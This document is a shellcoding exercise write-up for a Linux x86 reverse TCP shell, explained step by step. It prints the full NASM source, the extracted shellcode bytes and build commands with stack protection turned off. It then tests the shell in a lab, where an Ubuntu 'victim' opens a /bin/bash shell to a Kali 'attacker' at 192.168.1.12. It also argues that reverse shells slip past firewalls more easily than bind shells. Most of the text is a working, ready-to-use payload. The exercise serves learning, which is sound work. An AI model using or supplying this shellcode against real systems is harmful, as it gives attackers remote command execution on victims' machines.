2 - SHELL REVERSE TCP
1
- INTRODUCTION
The
goal of this exercise is to launch an attack against an Ubuntu Linux
machine by developing a Shell Reverse TCP shellcode. This program
will be executed inside the victim machine, while a remote attacker
Linux Kali listens on a specific port. Once the connection is
established, the attacker Kali will enjoy a shell from Ubuntu ,opened
in its command line interpreter.
Port
binding shellcodes are usually discovered by firewalls, because
inbound connections are thoroughly examined and filtered. However,
firewalls don't filter outbound connections with the same frequency
and intensity, because it would affect performance. Due to this
fact, outbound connections started from the inside are more
successful. In other words, Shell Reverse shellcodes are more
effective than attacks based on Port binding.
The
assembly program Shell_Reverse_TCP.nasm follows 4 steps:
a)
CREATE a TCP socket.
b)
CONNECT the socket to an IP address and a TCP port.
c)
REDIRECT accepted socket to standard streams.
d)
EXECUTE a shell (for instance, the /bin/bash).
All
of these steps are performed with Linux syscalls, available for
working with sockets on IA-32 (Intel Architecture 32 bits) machines.
The
main difference with the former program (A1 - Shell Bind TCP) is the
utilization of the connect() function, being the rest of the steps
pretty similar.
2
- WRITING THE PROGRAM STEP BY STEP
Let's
review the Shell_Reverse_TCP.nasm program step by step:
a)
CREATE a TCP socket
-
a socket is created with socket() function, as done in previous
example (A1 - Shell Bind TCP) :
global
_start
section
.text
_start:
;
int socket(int domain, int type, int protocol)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x1 ; 1 for SYS_SOCKET
xor
ecx,ecx ; zeroize ecx
push
ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push
0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push
0x2 ; 2 for domain (AF_INET = IPv4)
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
xor
edi, edi ; zeroize edi
mov
edi, eax ; file descriptor of the socket is saved into edi
b)
CONNECT the socket to an IP address and a TCP port
-
connect() function is used to establish a connection between two
endpoints. The parameters of connect() are the same to bind(), with
the only difference that syn_addr parameter must be specified for
connect().
-
In this case, the remote IP address to establish the connection is
192.168.1.12 (\0xc0\0xa8\0x01\0x0c).
-
It will be pushed onto the stack in reverse order (0x0c01a8c0) as a
parameter for connect().
root@lic:/#
man connect
NAME
connect - initiate a connection on a socket
SYNOPSIS
int connect(int sockfd, const struct sockaddr *addr, socklen_t
addrlen);
DESCRIPTION The
connect() system call connects the socket referred to by the file
descriptor sockfd to the address specified by addr. The addrlen
argument specifies the size of addr. The format of the address in
addr is determined by the address space of the socket sockfd.
-
the identifier for the syscall SYS_CONNECT is 3:
root@lic:/usr/include/linux#
cat net.h
#define
SYS_CONNECT 3 /* sys_connect(2) */
-
The section of the program for establishing the connection:
;
int connect(int sockfd, const struct sockaddr *addr, socklen_t
addrlen)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x3 ; 3 for SYS_CONNECT
push
0x0c01a8c0 ; sin_addr = 192.168.1.12, pushed in reverse order onto
the stack
push
word 0xe007 ; port 2016 (0x07e0), according to Network Byte
Order 0xe007
push
word 0x2 ; sin_family = AF_INET=2
mov
ecx,esp ; pointer to sockaddrr is moved to ecx
push
0x10 ; 16 Bytes (0x10) of lenght
push
ecx ; pointer to sockaddr
push
edi ; file descriptor of the socket to bind
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
c)
REDIRECT to standard streams
-
The accepted socket file descriptor is redirected to the standard
streams: stdin(0), stdout(1), stderr(2), as done at previous case
(Shell Bind TCP), with the syscall dup2():
;
int dup2(int oldfd, int newfd)
xor
ecx,ecx ; zeroize ecx
mov
cl,0x2 ; initializing ecx as a counter with 2
redirect:
xor
eax,eax ; zeroize eax
mov
al,0x3f ; 0x3f = 63 identifier for dup2()
int
0x80 ; syscall is executed
dec
ecx ; decreasing by 1 the counter
jns
redirect ; the loop ends up when the counter reaches -1
d)
EXECUTE /bin/bash
-
Finally, the program executes a /bin/bash shell with execve():
;
int execve(const char *filename, char *const argv[], char *const
envp[])
xor
eax,eax ; zeroize eax
push
eax ; 0x0 is pushed onto the stack
push
0x68736162 ; hsab
push
0x2f6e6962 ; /nib
push
0x2f2f2f2f ; ////
mov
ebx,esp ; filename is moved to ebx
push
eax ; eax contains 0x0
mov
edx,esp ; 0x0 is moved to edx
push
ebx ; address of filename pushed onto the stack
mov
ecx,esp ; address of filename moved to ecx
mov
al,0xb ; 11 = 0xb identifier for execve()
int
0x80 ; syscall executed
-
The whole program Shell_Reverse_TCP.nasm:
global
_start
section
.text
_start:
;
int socket(int domain, int type, int protocol)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x1 ; 1 for SYS_SOCKET
xor
ecx,ecx ; zeroize ecx
push
ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push
0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push
0x2 ; 2 for domain (AF_INET = IPv4)
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
xor
edi, edi ; zeroize edi
mov
edi, eax ; file descriptor of the socket is saved into edi
;
int connect(int sockfd, const struct sockaddr *addr, socklen_t
addrlen)
xor
eax,eax ; zeroize eax
mov
al,0x66 ; socketcall() identifier = 0x66 = 102
xor
ebx,ebx ; zeroize ebx
mov
bl,0x3 ; 3 for SYS_CONNECT
push
0x0c01a8c0 ; sin_addr = 192.168.1.12
push
word 0xe007 ; port 2016 (0x07e0), according to Network Byte
Order 0xe007
push
word 0x2 ; sin_family = AF_INET=2
mov
ecx,esp ; pointer to sockaddrr is moved to ecx
push
0x10 ; 16 Bytes (0x10) of lenght
push
ecx ; pointer to sockaddr
push
edi ; file descriptor of the socket to bind
mov
ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int
0x80 ; syscall executed
;
int dup2(int oldfd, int newfd)
xor
ecx,ecx ; zeroize ecx
mov
cl,0x2 ; initializing ecx as a counter with 2
redirect:
xor
eax,eax ; zeroize eax
mov
al,0x3f ; 0x3f = 63 identifier for dup2()
int
0x80 ; syscall is executed
dec
ecx ; decreasing by 1 the counter
jns
redirect ; the loop ends up when the counter reaches -1
;
int execve(const char *filename, char *const argv[], char *const
envp[])
xor
eax,eax ; zeroize eax
push
eax ; 0x0 is pushed onto the stack
push
0x68736162 ; hsab
push
0x2f6e6962 ; /nib
push
0x2f2f2f2f ; ////
mov
ebx,esp ; filename is moved to ebx
push
eax ; eax contains 0x0
mov
edx,esp ; 0x0 is moved to edx
push
ebx ; address of filename pushed onto the stack
mov
ecx,esp ; address of filename moved to ecx
mov
al,0xb ; 11 = 0xb identifier for execve()
int
0x80 ; syscall executed
3
- ASSEMBLING, LINKING, EXTRACTING
-
Assembling Shell_Bind_TCP.nasm:
root@lic:/home/daniel/Desktop/SLAE_2#
nasm -f elf32 -o Shell_Reverse_TCP.o Shell_Reverse_TCP.nasm
-
Linking Shell_Bind_TCP.nasm:
root@lic:/home/daniel/Desktop/SLAE_2#
ld -o Shell_Reverse_TCP Shell_Reverse_TCP.o
-
Extracting the shellcode from Shell_Bind_TCP.nasm:
root@lic:/home/daniel/Desktop/SLAE_2
#
objdump -d ./Shell_Reverse_TCP|grep '[0-9a-f]:'|grep -v 'file'|cut
-f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x68\xc0\xa8\x01\x0c\x66\x68\x07\xe0\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
4
- TESTING
Two
computers are used for testing this exercise. On the one hand, the
program is executed within the victim, an Ubuntu machine. On the
other hand, a remote Kali attacker machine listens on the 2016 port:
-
Ubuntu 12.04 (32 bits) with IP 192.168.1.10:
root@lic:/home/daniel/Desktop/SLAE_1#
ifconfig
eth0
Link encap:Ethernet HWaddr 08:00:27:8d:a2:b4
inet
addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
-
Kali (32 bits) with IP 192.168.1.12:
root@kali:~#
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:ee:c4:8b
inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0
- Creating ShellcodeTest.c:
eth0 Link encap:Ethernet HWaddr 08:00:27:ee:c4:8b
inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0
- Creating ShellcodeTest.c:
root@lic:/home/daniel/Desktop/SLAE_2#
sudo gedit ShellcodeTest.c
-
Compiling ShellcodeTest.c:
root@lic:/home/daniel/Desktop/SLAE_2#
gcc -fno-stack-protector -z execstack ShellcodeTest.c -o
ShellcodeTest
-
From remote Kali (attacker), the nc tool is launched, listening on
port 2016:
-
From Ubuntu (victim), the shellcode ShellcodeTest is executed:
- Now, a shell from Ubuntu is opened at Kali machine, being the attack successful:
5
- IP ADDRESS AND PORT CONFIGURATION
-
One of the possible ways to make the IP address and the TCP port
easily configurable would be to convert those two number into
predefined macros.
-
For instance, let's take the IP adress 192.168.1.12 and the TCP port
9000. Predefining two macros:
#define
IP_ADRESS "\xc0\xa8\x01\x0c"
#define
PORT "\x23\x28"
-
Rewriting ShellcodeTest.c:
root@lic:/home/daniel/Desktop/SLAE_2#
sudo gedit ShellcodeTest.c
-
Compiling ShellcodeTest.c:
root@lic:/home/daniel/Desktop/SLAE_2#
gcc -fno-stack-protector -z execstack ShellcodeTest.c -o
ShellcodeTest
-
Now, listening from Kali (attacker) on port 9000:
-
Executing ShellcodeTest.c from Ubuntu (victim):
-
The attack is successful, because the attacker Kali is able to open
remotely a "/bin/bash" shell from the victim Ubuntu: